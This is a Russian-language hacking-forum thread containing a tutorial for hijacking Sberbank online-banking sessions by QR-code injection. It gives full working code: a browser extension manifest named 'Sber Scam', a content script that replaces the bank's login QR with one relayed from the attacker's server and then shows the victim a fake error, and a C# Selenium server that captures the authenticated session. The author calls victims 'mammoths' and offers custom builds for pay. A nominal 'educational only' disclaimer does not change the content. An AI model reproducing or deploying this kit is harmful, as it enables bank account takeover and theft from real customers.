Загрузка...

QR Injection - Часть 2 | Крадем сессии сбера

Тема в разделе Безопасность создана пользователем RusterFruzi3 21 янв 2022. (поднята 21 янв 2022) 669 просмотров

  1. RusterFruzi3
    RusterFruzi3 Автор темы 21 янв 2022 10 1 авг 2018
    Данная статья несёт исключительно ознакомительный и образовательный характер.
    Всем привет! Совсем недавно я уже публиковал запись насчет данной темы: ТЫК, там речь шла про кражу сессий WhatsApp и тема не особо актуальна если честно. Сегодня я расскажу и покажу вам как обладая базовыми навыками в коде можно сделать подобное но уже со всеми известным Cбербанком. Статья будет полезна новичкам в этой сфере.

    Суть примерно та же: подмена QR кода в сессии пользователя на наш, но мы не будем использовать ******овую страницу как это было в первой части по следующим причинам:

    1. Экономия времени и денег
    2. Меньше подозрительность
    Этап 1. Приготовление.

    Нам необходимо проанализировать страницу авторизации на сайте, и определиться с инструментами, в моем случае это будут:
    Сервер - обработка и создание наших сессий: используемый ЯП - C# и пакет Selenium, так как по мне у него очень удобная документация, а в том же HtmlAgilityPack давно известные баги еще не исправлены
    Дополнение(расширение) для браузера - определение открыт ли нужный нам сайт, и дальнейшая работа с его HTML
    И WebSocket'ы для связи всего этого


    Этап 2. Дополнение для браузера.
    1.Идем на страницу авторизации: https://online.sberbank.ru/ и видим что вылезает наш драгоценный QR, но не все так просто как оказалось, каждый его кубик разбит на отдельный элемент в коде:

    [IMG]

    Так что просто вытащить и вставить готовую картинку не выйдет, поэтому нам нужен родитель этих блоков а точнее его класс: "_31yCRIF3aDX11EyB0DoPiU" и также чтобы выбивать ошибку мамонту нужно найти родителя всей формы:
    [IMG]
    он имеет следующий класс: "W0GBqeXXZZsljOu6O0L-7", но если QR разбит по частям то как же мы будем доставать его? С этим нам в дальнейшем поможет Selenium, а пока просто запоминаем название этих классов

    Также при первом открытии страницы авторизации QR код не будет доступен сразу, необходимо нажать кнопку, находим ее и запоминаем ее класс: "_5PbRoWLdKUkmrLVYm82Nl"
    [IMG]


    2. Приступим к созданию самого расширения для последующей работы с сайтом.
    Создаем каталог в удобном вам месте, и в нем же создаем файл manifest.json
    Структура его следующая:

    Код
    {
    "name": "Sber Scam",
    "description": "",
    "version": "1.0",
    "manifest_version": 3,

    "action": {
    "default_icon": {
    "16": "/images/favicon-16.png",
    "32": "/images/favicon-32.png",
    "48": "/images/favicon-48.png",
    "192": "/images/favicon-192.png"
    }
    },
    "icons": {
    "16": "/images/favicon-16.png",
    "32": "/images/favicon-32.png",
    "48": "/images/favicon-48.png",
    "128": "/images/favicon-192.png"
    },
    "content_scripts": [
    {
    "matches": ["*://online.sberbank.ru/*"],
    "js": ["app.js"],
    "css": ["style.css"]
    }
    ],
    "permissions": ["activeTab", "scripting"]
    }




      • Имя расширения
      • Его описание
      • Версия
      • Версия манифеста
      • Значки для кнопки на панели инструментов
      • Значки для отображения в магазине, настройках браузера и тп
      • Параметр content_scripts содержит в себе еще 3 параметра:
        Matches - указывает на какой странице будет активно данное расширения, возможно использование регулярных выражений, что в нашем примере и понадобилось:
        *://online.sberbank.ru/*
        звездочками помечены те места которые нам не важны, то есть мы смотрим только на домен.
        Список подключенных js скриптов, где выполняется основной функционал
        Список подключенных css стилей.
      • Права которые выдаются дополнению в браузере: просмотр активной вкладки, выполнение скриптов
    3. Функционал в app.js:

    Код
    var errorMsg = '<div class="F-r9X1fHVtp3bjh3Ne5JI"><div class="_1ddKkgZMUXi-AZlosyAj9n"><div class="_1yZtaNBZHihx3534KaRDbu r0HdxKh83dqJxmvEMEJeD" data-unit="process:alert:error" role="alert" aria-describedby="alert-process-description-92" aria-labelledby="alert-process-title-91"><span data-unit="icon" class="_33aEnAM-zRum7sLqV0ZP5a _1cqhxSOZeJkZbA53T8seut"><svg xmlns="http://www.w3.org/2000/svg" width="36" height="36" viewBox="0 0 36 36" focusable="false"><g fill="#F6650A" fill-rule="nonzero"><path d="M18 31c-7.18 0-13-5.82-13-13S10.82 5 18 5s13 5.82 13 13-5.82 13-13 13zm0-2c6.075 0 11-4.925 11-11S24.075 7 18 7 7 11.925 7 18s4.925 11 11 11z"></path><path d="M18 16.586l3.293-3.293a1 1 0 011.414 1.414L19.414 18l3.293 3.293a1 1 0 01-1.414 1.414L18 19.414l-3.293 3.293a1 1 0 01-1.414-1.414L16.586 18l-3.293-3.293a1 1 0 011.414-1.414L18 16.586z"></path></g></svg></span><h3 data-unit="process:alert:title" class="_3pJxQcqM289sCkMhdEASc1" id="alert-process-title-91">Операция недоступна</h3><div id="alert-process-description-92" class="_1PIqFRdOp0nYZVYhAM_Xrv" data-unit="alert:description"><div data-unit="markdown:short" class="_2ibW1Mj2_gmg9hOQykkv9k _2MJXnR-6usBt0jA6haOTyj"><p>Попробуйте позже или воспользуйтесь другими способами входа</p></div></div><div class="DqTZjvd0rFHjIRK_9izP0" data-unit="alert:actions"><button tabindex="0" type="button" class="_1HdOwbeTrZaeCnJHlzryFo _12WLzZDwY7skyN6w56MYDt" data-unit="button:command:link"><span class="AzAXRAv6MDKEqmrmuvjIc _3ZUNfULpo0_w8q7xfZVpXc">Попробовать ещё раз</span></button></div></div></div></div>';

    // Код ошибки вытащенный с основного сайта

    // Ожидание полной загрузки страницы
    document.addEventListener('readystatechange', event => {

    if (event.target.readyState === "complete") {
    // Создание поиска QR по таймеру, функция будет выполняться пока не завершиться успешно
    let i = setInterval(function () {
    // Проверка на существования родителя блоков qr кода
    if (document.querySelector("._31yCRIF3aDX11EyB0DoPiU")) {
    // Сброс таймера, чтобы функция не вызывалась повторно
    clearInterval(i);

    // Получение элемента родителя
    var qr = document.getElementsByClassName("_31yCRIF3aDX11EyB0DoPiU")[0];
    // Подключение по сокетам к серверу, ссылка имеет формат типа ws://ip:port/Service
    var exampleSocket = new WebSocket("ws://127.0.0.1:8889/Sber");

    // Подставлять мы уже будем готовую картинку поэтому создаем ее будущее тело
    var img = document.createElement("img");

    // Ивент при получении сообщения от сервера
    exampleSocket.onmessage = function (event) {
    // Если это скопированный qr то мы подставляем его, он имеет вид строки base64
    if (event.data.startsWith("[img]")) {
    // Удаляем оригинальный qr, просто отчистив все вложенные обьекты в родителя
    qr.innerHTML = "";

    // Загружаем картинку в ее тело
    img.src = `data:image/png;base64,${event.data.substring(5)}`;

    // Добавляем тело в дочерние к родителю
    qr.appendChild(img);
    } else if (event.data == "[authed]") { // Если же мы авторизовались в нашей сессии на сервере, то бьем ошибку у мамонта
    var info = document.getElementsByClassName("W0GBqeXXZZsljOu6O0L-7")[0]; // Получение родителя всей формы
    info.innerHTML = errorMsg; // Вставка ошибки
    }
    };

    }
    }, 500);
    }
    });



    Этап 3. Сервер

    Здесь мы пробежимся чуть по-быстрее так как я уже объяснял как все это ставится в первой части.
    Создаем новое консольное приложение, желательно .net framework, на core возникают конфликты с Selenium

    Импортируем следующие пакеты:
    [IMG]

    Ставим хром и драйвер к нему если еще нету, инструкция опять же в первой части или на офф сайте Selenium

    Код разбит на след части:

    1. Основной метод - входная часть программы, инициальназция компонентов
    2. WebSocket сервер и сервисы, подробнее как устроены эти сервисы и прочая инфа о пакете здесь: ТЫК
    3. Наши WebViewer - класс использующий Selenium для выполнения определенных инструкций.
    Инциализация:
    Код

    var server = new WebSocketServer("ws://127.0.0.1:8889"); // Создание нового сокет сервера, как я и говорил выше адресс имеет формат типа ws://ip:port/Service
    server.AddWebSocketService<SberSession>("/Sber"); // Добавление нового сервиса, сервер сам создает экземпляр при получении запроса на подключение
    server.Start(); // Запуск сервера

    Console.WriteLine("Server started!");

    Console.ReadLine();
    Sber Service:

    Код

    internal class SberSession : WebSocketBehavior, ISession
    {
    protected override void OnMessage(MessageEventArgs e)
    {

    }

    protected override void OnOpen() // Вызывается при подключении к службе
    {
    Console.WriteLine($"{nameof(SberSession)} open!");

    SberViewer whatsApp = new SberViewer(); // Создание экземпляра viewer'a
    whatsApp.StartSession(this); // Запуск
    }

    public void SendMessage(string value) // Оболочка над WebSocketBehaviour, метод Send имеет свойство protected
    {
    Send(value);
    }
    }
    Ну и самое "вкусное", Viewer:

    Код

    internal class SberViewer
    {
    public string Url
    {
    get
    {
    return "https://online.sberbank.ru/"; // Адрес страницы авторизации
    }
    }

    ChromeDriver driver;
    public void StartSession(ISession webSocket) // Метод запуска сессии
    {
    ChromeOptions options = new ChromeOptions(); // Создание опций для запуска "браузера"
    options.PageLoadStrategy = PageLoadStrategy.Normal; // Указываем что необходимо ждать полной загрузки страницы

    driver = new ChromeDriver(options); // Создание нового экземпляра браузера
    driver.Navigate().GoToUrl(Url); // Переход на базовую страницу

    driver.FindElement(By.ClassName("_5PbRoWLdKUkmrLVYm82Nl")).Click(); // Клип по кнопке "QR-код"

    WebDriverWait wait = new WebDriverWait(driver, TimeSpan.FromMinutes(3)); // WebDriverWait помогает выполнять задачи когда нам необходимо дождаться чего то, в данном случае генерацию QR

    IWebElement qrParent = wait.Until(e => e.FindElement(By.ClassName("_31yCRIF3aDX11EyB0DoPiU"))); // получение того самого родителя QR
    WebElement qr = (WebElement)qrParent.FindElement(By.TagName("svg")); // В этом родителе вложен пустой svg элемент, но он хорошо помогает выделить всю область Qr

    webSocket.SendMessage("[img]" + qr.GetScreenshot().AsBase64EncodedString); // Делаем скриншот этой области и отправляем нашему мамонту для подмены

    wait.Until(e => e.FindElement(By.ClassName("QNDfzgb4njDoOVFds67Um")) == null); // Проверка на смену страницы

    webSocket.SendMessage("[authed]"); // Отправка ответа о том чтобы авторизовались

    Console.WriteLine("Succeful auth with, Start saving data!");
    }
    }

    Этап 4. Итог


    Проект сыроват, но после полной отладки софта, вы можете приступать к работе.
    Основным смыслом данной темы было показать как работать с схожими задачами!




    Могу написать софт на заказ, но не бесплатно, писать в телеграм
     
    21 янв 2022 Изменено
  2. RusterFruzi3
    RusterFruzi3 Автор темы 21 янв 2022 10 1 авг 2018
    Для тех кто не знает как добавить свое расширение в браузер:
    Вводим в адрессной строке: browser://extensions/
    Включаем режим разработчика и жмем загрузить расширение, указываем путь до папки с манифестом!
     
  3. ЖораПортималь
    ЖораПортималь 21 янв 2022 LT активация Win 10/11 lolz.live/threads/2592535 2226 1 дек 2020
    Щас из за таких статей лолз к хуям отлетит
     
    1. RusterFruzi3 Автор темы
    2. ЖораПортималь
      RusterFruzi3, да дело в том что РКН и Сберу похер, это тебе не гугл который заплатит за уязвимости, эти только посадить могут
    3. RusterFruzi3 Автор темы
      ЖораПортималь, ну фактический проверял я на своем аккаунте, в теме указал что только в целях показать да рассказать
Загрузка...
Top